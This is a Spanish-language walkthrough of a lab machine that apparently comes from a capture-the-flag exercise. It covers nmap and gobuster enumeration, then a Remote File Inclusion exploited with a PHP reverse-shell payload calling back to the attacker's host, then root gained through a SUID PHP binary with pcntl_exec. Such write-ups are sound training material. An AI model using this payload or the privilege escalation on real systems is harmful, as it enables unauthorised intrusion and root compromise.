Enumeración de servicios
El barrido completo sólo descubre HTTP en el puerto 80. El segundo escaneo identifica Apache sobre Ubuntu, de modo que toda la superficie remota visible se concentra en la aplicación web:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.30
❯ nmap -sC -sV -p80 -oN 02-targeted.txt 192.168.1.30
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-04 23:01 -03
Nmap scan report for 192.168.1.30
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Quick Automative
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.59 secondsEnumeración web
Gobuster localiza varias páginas PHP. connect.php responde con error 500, pero la navegación normal revela un parámetro page usado por index.php para seleccionar contenido:
❯ gobuster dir -u 192.168.1.30 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
...
/images (Status: 301) [Size: 313] [--> http://192.168.1.30/images/]
/index.php (Status: 200) [Size: 3735]
/contact.php (Status: 200) [Size: 1395]
/about.php (Status: 200) [Size: 1446]
/home.php (Status: 200) [Size: 2534]
/cars.php (Status: 200) [Size: 1502]
/connect.php (Status: 500) [Size: 0]
/send_email.php (Status: 302) [Size: 0] [--> contact.php]
...Navegando, vemos un parámetro page sospechoso, candidato a LFI o RFI:
http://192.168.1.30/index.php?page=homeExplotación de la inclusión remota de archivos
Las pruebas con rutas locales no devuelven archivos del sistema, pero el parámetro acepta una URL externa. Esto confirma una Remote File Inclusion: el servidor descarga e interpreta contenido PHP controlado por nosotros.
La diferencia con una Local File Inclusion es importante. Una inclusión local sólo permite referenciar archivos que ya existen en la víctima, mientras que una RFI obliga a PHP a solicitar un recurso remoto. Si nuestro servidor HTTP registra la petición y después recibimos la conexión inversa, demostramos dos cosas: que la aplicación admite URLs externas y que el contenido descargado se interpreta como PHP en lugar de mostrarse como texto.
Creamos una carga que inicia una reverse shell y la publicamos mediante un servidor HTTP local:
File:reverse.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>❯ sudo python3 -m http.server 80Con un listener activo en el puerto 1234, hacemos que page apunte a nuestra carga. Omitimos la extensión porque la aplicación la añade durante la inclusión. Si enviáramos reverse.php, el código vulnerable intentaría cargar reverse.php.php y la petición fallaría:
http://192.168.1.30/index.php?page=http://192.168.1.10/reverseLa conexión entrante se ejecuta como www-data y permite recuperar la primera flag.
Enumeración local
Buscamos binarios SUID y encontramos una instalación de PHP poco habitual con ese permiso:
www-data@quick:/home/andrew$ find / -perm -4000 2>/dev/null
...
/usr/bin/php7.0
...Escalada mediante SUID Binary Abuse en PHP
El intérprete permite un SUID Binary Abuse porque hereda el EUID de root. Usamos pcntl_exec para reemplazar el proceso PHP por /bin/sh y pasamos -p, que impide que la shell descarte los privilegios efectivos:
www-data@quick:/home/andrew$ /usr/bin/php7.0 -r "pcntl_exec('/bin/sh', ['-p']);"Un intérprete con SUID es especialmente peligroso porque no limita al usuario a una operación concreta: permite ejecutar código arbitrario con el EUID del propietario del binario. En este caso, pcntl_exec sustituye el proceso PHP privilegiado por una shell y -p conserva ese EUID, por lo que el resultado es una shell efectiva de root.
Confirmamos el UID con id o whoami, recuperamos la flag final y damos por completada la máquina.